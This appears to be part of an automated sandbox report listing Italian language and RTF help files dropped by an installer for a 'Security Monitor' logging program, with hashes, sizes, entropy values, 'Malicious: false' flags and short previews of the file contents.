SHA-512:	FCD7A0EB648B02F9FED9F50078A197EE4C6BC1451AF6CFDD5A0376B42EA2F448B2D9C09560ACFDAA959707762F2E36470C470D33C10290274BC04BF58B15B2BE
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Abilita logging"..tbStop="Stop"..tbStopHint="Disabilita logging"..tbFind="Trova"..tbFindHint="Cerca informazioni di log"..tbSetting="Impostazioni"..tbSettingHint="Impostazioni programma"..tbAbout="Circa"..tbAboutHint="Circa / informazioni di registrazione"..tbHomePage="Home Page"..tbHomePageHint="Vai alla Home Page del programma"..tbToday="Oggi"..tbTodayHint="Vai al log di oggi"..tbHide="Nascondi"..tbHideHint="Modalit. Stealth (nessuna icona nella barra delle applicazioni)"..tbMinimize="Minimizza"..tbMinimizeHint="Minimizza nel Tray"..tbExit="Esci"..tbExitHint="Esci e ferma il log"..gbLog="Log Eventi"..tCurrLogSize="Dimensioni correnti Log (Mb)"..tCurrScrSize="Dimensioni correnti Screenshot (Mb)"..tMaxL

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12536
Entropy (8bit):	4.8846461435532245
Encrypted:	false
SSDEEP:	384:UCTESqmmj063sRDYVLf0Xj/KgqYFP6ez7zUc4:UMmj93sRD80zDt4
MD5:	772446C6263F1055F474A1AE2EFF7A11
SHA1:	E3C521C7105C860D8139030D2363647821E593D7
SHA-256:	E346F5CE552A3E5216E2826D86C64135372B51EA74BF4DE468C442A43B1F3E63
SHA-512:	FCD7A0EB648B02F9FED9F50078A197EE4C6BC1451AF6CFDD5A0376B42EA2F448B2D9C09560ACFDAA959707762F2E36470C470D33C10290274BC04BF58B15B2BE
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Abilita logging"..tbStop="Stop"..tbStopHint="Disabilita logging"..tbFind="Trova"..tbFindHint="Cerca informazioni di log"..tbSetting="Impostazioni"..tbSettingHint="Impostazioni programma"..tbAbout="Circa"..tbAboutHint="Circa / informazioni di registrazione"..tbHomePage="Home Page"..tbHomePageHint="Vai alla Home Page del programma"..tbToday="Oggi"..tbTodayHint="Vai al log di oggi"..tbHide="Nascondi"..tbHideHint="Modalit. Stealth (nessuna icona nella barra delle applicazioni)"..tbMinimize="Minimizza"..tbMinimizeHint="Minimizza nel Tray"..tbExit="Esci"..tbExitHint="Esci e ferma il log"..gbLog="Log Eventi"..tCurrLogSize="Dimensioni correnti Log (Mb)"..tCurrScrSize="Dimensioni correnti Screenshot (Mb)"..tMaxL

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10431
Entropy (8bit):	4.953862205312216
Encrypted:	false
SSDEEP:	192:su79jU9jV9jW9ju9j89jM9j39jO9jR6z6C6D6E6f6E6O6Y6Y222K2a2O2G2y2E2S:X9jU9jV9jW9ju9j89jM9j39jO9jR6z6o
MD5:	F253166C14180CDA4CF3682EBDA81E10
SHA1:	42CB7285AE2A1D8FFFBDB8E92DD762F116E6E5E7
SHA-256:	21604302E29A98F4F73EB4DD22C1B3FD52840C05B9438769E8568E69A2AD6890
SHA-512:	26EF9FFCDBE8D66B92954FA2DC046B7049B772B789BD4192D62CCDEA211D613413B241E1527396FCCF6087B041A526641C9D12F5C29810637C42AFF812A15061
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7403
Entropy (8bit):	4.92938927718366
Encrypted:	false
SSDEEP:	192:su76z6C6D6E6f6E6O6Y6K222K2a2O2G2y2E2+2tuADuEXu6mp49T20l49D7D7DP:X6z6C6D6E6f6E6O6Y6K222K2a2O2G2yx
MD5:	3D3D6A046CC73D49EA8D98E66103EBC5
SHA1:	3F3F6AD63BEE3F893EE2F57AF6D261AFD0A8C639
SHA-256:	344EBAAFF1EC7B1BF2A627DD9A5F1B0D3C5D968F23ADA7D6A7175767B29AF483
SHA-512:	405236F4E6F223EFD593A22047B79156ED9695DDE0EB4BB4261891375C3FE586251AD3E9EE9EDF914AC02AB7C51887F16A5897915B0BEE8CC708CF6B116D9342
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	6776
Entropy (8bit):	4.952214417097897
Encrypted:	false
SSDEEP:	192:su76z6C6D6E6f6E6O6Y6K222K2a2O2G2y2E2+2PuADGE7lqWiNBXa98XP00PDDP:X6z6C6D6E6f6E6O6Y6K222K2a2O2G2yp
MD5:	1BD6D948821BAAD56E7BD929CE99BC3E
SHA1:	87753F34928DF1FDCE8D2AE17A734E2D032B7392
SHA-256:	179807CC391D4A379560F1E9119C44DBD0F8BABD7C9581758DDFD2C24D15CCA5
SHA-512:	CD8934815BBF3C6AA344CEDCA40732E4428DECC0F122F124B3AECD1720BA89A7D5A9BA0EE8AE4675C57C56B3ABFC44BB2AF2A868111ED7D23D156BCEAF0D6ADF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	37355
Entropy (8bit):	5.0224273603988925
Encrypted:	false
SSDEEP:	768:2rF4DO6zLpzBMRQ1W7MiynhCGm7aVZ/6A9a:2raD7IA9a
MD5:	72215D6BB69B80AD421E5FBEC9CEE983
SHA1:	4DC407E1BF25A18F3C9B2F2E94440D3A0AC505D8
SHA-256:	0B1A02997F8DC944153BBEA47C302C3A155B1363A2A4F6A23218EB1BA9D1ACD8
SHA-512:	D1F1409D1E0946F84F3D3D3FBBB90BB23195A84402E0DA16A102C62E1198F28AB80046E805A3B4CAAD0B61039E07B57350133F1E0DCB3142A0B2487F1F1174B4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt Times New Roman};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}{\f315\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}@WenQuanYi Micro Hei;}..{\f316\fbidi \froman\fcharset128\fprq2{\*\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	76355
Entropy (8bit):	4.982630349215747
Encrypted:	false
SSDEEP:	768:KewXZEMuTyIT+TWkN+3vMHRYRv0lTiHRYRv0lTiHRYRv0lHiHRYRv0leUE/lLr/6:KeMEZgIA9C
MD5:	0DD30E30324435D32C3336875F79F308
SHA1:	6F38100EBA73AAD482B1B290FF5C21DD0C3AA692
SHA-256:	D9939A99B67D9267B439373CC44EE14A10432AF1BB3AEB6EBBDDE1839EDCBD99
SHA-512:	62513A5EDAF36F0D69A9519F74795659493A1B0C9B9E662D0AF4C15A7F68043F6C3A2F9231D9C949572D787524448C8F31B4A6AE9D242FB28758BA084C3B9545
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch11\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-01QFC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	64122
Entropy (8bit):	5.005532059876539
Encrypted:	false
SSDEEP:	768:2NFM7S0LzLpzBDlmvMuLoPxsMOaWAebaTkPYxmjyzZNBPirmqCadCg0WOxuiOQYX:2N4Sqse5bhHsTs64pPIA98
MD5:	20DED089CE49980F6BA7C2DDFBB4A359
SHA1:	A80EB4246514293DC65C07621B04DB34434DA4FB
SHA-256:	7644F6129405227CC015DC574D41769A25B147A33792008A3BC97D6CA2B31F84
SHA-512:	6863BF40030EE2FA1274103F637F1C8BD0601C5CF9C4EBE6684F13B7F1628B865D7297D464DD623CE50F7C0DFAB9B52CB42E8E6F6843D859469377DBFE68E5B5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}..{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}..{\f43\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000}@Wen

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-20UUV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	9031
Entropy (8bit):	4.942487008032181
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9v:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6Q
MD5:	140A646744F5CA2B77DC3CCAB81BE3E9
SHA1:	57D15787E167C9284D0A57DE074749A8A10D6267
SHA-256:	FACA864E826FC4333E1C6D8726C97446A824856214E302B154757A0071BB0666
SHA-512:	F00406EA7C8EDA722707892A86C72A1331F1DEB007A78F34CC27A3B6175D3737AF9DA542F926313644B1CF0D8BAE087529196DBEEC4C7AE6EA3BCD5CE42D0F0F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-3KKNH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	76355
Entropy (8bit):	4.982630349215747
Encrypted:	false
SSDEEP:	768:KewXZEMuTyIT+TWkN+3vMHRYRv0lTiHRYRv0lTiHRYRv0lHiHRYRv0leUE/lLr/6:KeMEZgIA9C
MD5:	0DD30E30324435D32C3336875F79F308
SHA1:	6F38100EBA73AAD482B1B290FF5C21DD0C3AA692
SHA-256:	D9939A99B67D9267B439373CC44EE14A10432AF1BB3AEB6EBBDDE1839EDCBD99
SHA-512:	62513A5EDAF36F0D69A9519F74795659493A1B0C9B9E662D0AF4C15A7F68043F6C3A2F9231D9C949572D787524448C8F31B4A6AE9D242FB28758BA084C3B9545
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch11\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-46I3M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40044
Entropy (8bit):	5.023249387110861
Encrypted:	false
SSDEEP:	768:2rF4DO6xByF3LSVj1BgpGk1WhhIHRYRv0lsSTz3BAbZ/6A9u:2raDlZIA9u
MD5:	994EC92B482BB93D1038B2F931B60AA4
SHA1:	130934CF53D1215C4955232421AB44C7CCD1F95B
SHA-256:	9A48D1986A44E9021CE072DE9A9D542357048ABBE6807E4CA151661708969D3C
SHA-512:	5F2424B1B38FC0939FDCF6C29A72067174CB49FC4F97C6CE284570984047B4D5CFBDBB84D63F619DF24B8EAF070FAC3EE71858CD7D9536F5C7920A0AACA895E1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt Times New Roman};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}{\f315\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}@WenQuanYi Micro Hei;}..{\f316\fbidi \froman\fcharset128\fprq2{\*\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-6C96I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10229
Entropy (8bit):	4.949701462728225
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9z:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6o
MD5:	328B6D1A72880E42399A6A9FAAE89707
SHA1:	B90F232CBADDD083D3E72EED57B362DBB5BB6B89
SHA-256:	731252A5DD9F5F1D6BAF95F06B86795064735EF2EDB2A7B0A0400535B28FB1C2
SHA-512:	70D96DB14DF3EA083AF7512998DBD565CD5DDEFDA0CB61A3378B9563642CB5FACD4D80A70763A454BE7B7BF4AA28A60C9B31AF7916066C9E56C5DB1A6F3D93D8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-7VGL5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7403
Entropy (8bit):	4.92938927718366
Encrypted:	false
SSDEEP:	192:su76z6C6D6E6f6E6O6Y6K222K2a2O2G2y2E2+2tuADuEXu6mp49T20l49D7D7DP:X6z6C6D6E6f6E6O6Y6K222K2a2O2G2yx
MD5:	3D3D6A046CC73D49EA8D98E66103EBC5
SHA1:	3F3F6AD63BEE3F893EE2F57AF6D261AFD0A8C639
SHA-256:	344EBAAFF1EC7B1BF2A627DD9A5F1B0D3C5D968F23ADA7D6A7175767B29AF483
SHA-512:	405236F4E6F223EFD593A22047B79156ED9695DDE0EB4BB4261891375C3FE586251AD3E9EE9EDF914AC02AB7C51887F16A5897915B0BEE8CC708CF6B116D9342
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-8D00G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	11858
Entropy (8bit):	4.924418755277587
Encrypted:	false
SSDEEP:	192:F9jmDF3222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6goaB7lE9mNUrloY1gTEzGS:Hq53222K2a2O2G2y2E2+2L6z6C6D6E6u
MD5:	D6E34C937850FDC0AB38B06FE809B95C
SHA1:	A4480E9E250F5C3DC5BDD69696AB9F6EB12E8A56
SHA-256:	355420286A6BCDB2190129A5507012B55DC41FB0660ACE771D09F6E60FAFA173
SHA-512:	47F77867C8A5746DF79A29ABA70360BB2DF54F41C08B4B15E831421F76F24DC6B6AF0EE837084E5DDED8DAE3B549AD3236B5D668852BF357F990244FCE2E9D05
Malicious:	false
Reputation:	unknown
